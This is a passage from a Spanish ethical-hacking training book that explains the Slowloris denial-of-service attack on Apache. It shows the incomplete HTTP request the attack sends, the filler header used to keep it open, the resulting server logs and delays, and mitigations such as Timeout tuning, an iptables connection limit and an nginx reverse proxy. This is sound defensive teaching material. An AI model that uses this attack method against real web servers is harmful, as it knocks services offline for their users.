  • 7. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 7 Si dejamos un tcpdump: # tcpdump -nni bond0 -s 0 -w /tmp/slowloris.pcap 'port 80' Podremos ver la petición que realiza: GET / HTTP/1.1 Host: 10.10.10.126 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12) Content-Length: 42 Para finalizar la petición debería dejar una linea en blanco,por lo que sería envío de los siguientes carácteres: “nrnr“. Pero, en el caso de slowloris, lo deja con “nr” y al cabo de un tiempo vuelve introduce un header sin sentido para mantener la petición viva: X-a: b Volviendo a dejar la petición sin la linea en blanco, por lo que se mantiene y volviendo a esperar para introducir lo mismo una y otra vez. Al no finalizar la petición no encontraremos nada en los logs de apache, ni en el de error ni en el de acceso, ya que toda petición hasta que no finaliza no se escribe en el log. En el momento que apaguemos el apache o bien termine el ataque veremos en ellog de error lineas similares a la siguiente: [Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers [Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers
  • 8. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 8 [Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers [Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the headers [Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the headers Si dejamos un curl corriendo en un while true y finalizamos el ataque con un Control- C veremos como el apache tarda unos segundos a recuperse: HTTP/1.1 301 Moved Permanently Date: Mon, 24 Aug 2009 13:40:38 GMT Server: Apache Location: http://systemadmin.es Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 real 0m0.071s user 0m0.000s sys 0m0.004s HTTP/1.1 301 Moved Permanently Date: Mon, 24 Aug 2009 13:41:30 GMT Server: Apache Location: http://systemadmin.es Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 real 0m51.483s user 0m0.000s sys 0m0.004s HTTP/1.1 301 Moved Permanently Date: Mon, 24 Aug 2009 13:41:53 GMT Server: Apache
  • 9. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 9 Location: http://systemadmin.es Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 real 0m21.086s user 0m0.000s sys 0m0.004s HTTP/1.1 301 Moved Permanently Date: Mon, 24 Aug 2009 13:41:54 GMT Server: Apache Location: http://systemadmin.es Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 real 0m0.088s user 0m0.000s sys 0m0.000s Se comenta que se puede reducir el impacto del ataque modificando la variable Timeout, que por defecto esta muy alto: Timeout 600 Esta parámetro afecta por separado (el mismo timeout para los tres, no es como total) a los siguientes tiempos para la recepción de la petición: • Tiempo que tarda en recibir una petición GET • Tiempo entre la recepción de paquetes TCP en las peticiones POST y PUT • Tiempo entre ACKs en las respuestas de la petición Si dejamos el valor demasiado bajo estaremos finalizando legitimas, pero aún con un valor más que justo, el problema del Slowloris seguiremos teniéndolo. Tal como se comenta en la lista devel del apache el problema es de fondo:
  • 10. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 10 Mitagation is the wrong approach. We all know our architecture is wrong. We have started on fixing it, but we need to finish the async input rewrite on trunk, but all of the people who have hacked on it, myself included have hit ENOTIME for the last several years. Hopefully the publicity this has generated will get renewed interest in solving this problem the right way, once and for all It doesn’t need to be the simple mpm, or the event mpm, its not even about MPMs, its about how the whole input filter stack works. So.. i write yet another email about it… and disappear in the ether of ENOTIME once again….. Podríamos limitar el número de conexiones con iptables: iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j DROP Pero con esto tendríamos dos problemas: 1. Estaríamos bloqueando el acceso a clientes detrás de un proxy 2. El ataque seguiría siendo posible empleando más IPs pero menos conexiones por IP, por ejemplo, desde una botnet. Además, los sistemas IDS/IDP basados en firmas no resultan muy efectivos en este caso, ya que las peticiones son perfectamente validas. Como mucho se podrían fijar en el UserAgent, pero es muy fácilmente modificable. Para el caso de lighttpd en modo proxy el apache se bloquea igual, por lo que seguimos teniendo una denegación de servicio. Es de justicia destacar que lighttpd no está afectado
  • 11. EL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKINGEL ARTE DEL HACKING Libro de Ethical Hacking para entrenamiento sobre ataques informáticos. Contacto: whitehat.mexico@gmail.com Página 11 por Slowloris, simplemente es esta configuración en concreto en la que hay una denegación de servicio porque el backend es vulnerable. Por el contrario, si configuramos nginx en modo proxy este evita la denegación de servicio al apache. Deberemos tener en cuenta que si tenemos el Apache con VirtualHosts deberemos añadir headers adicionales entre el nginx y el Apache.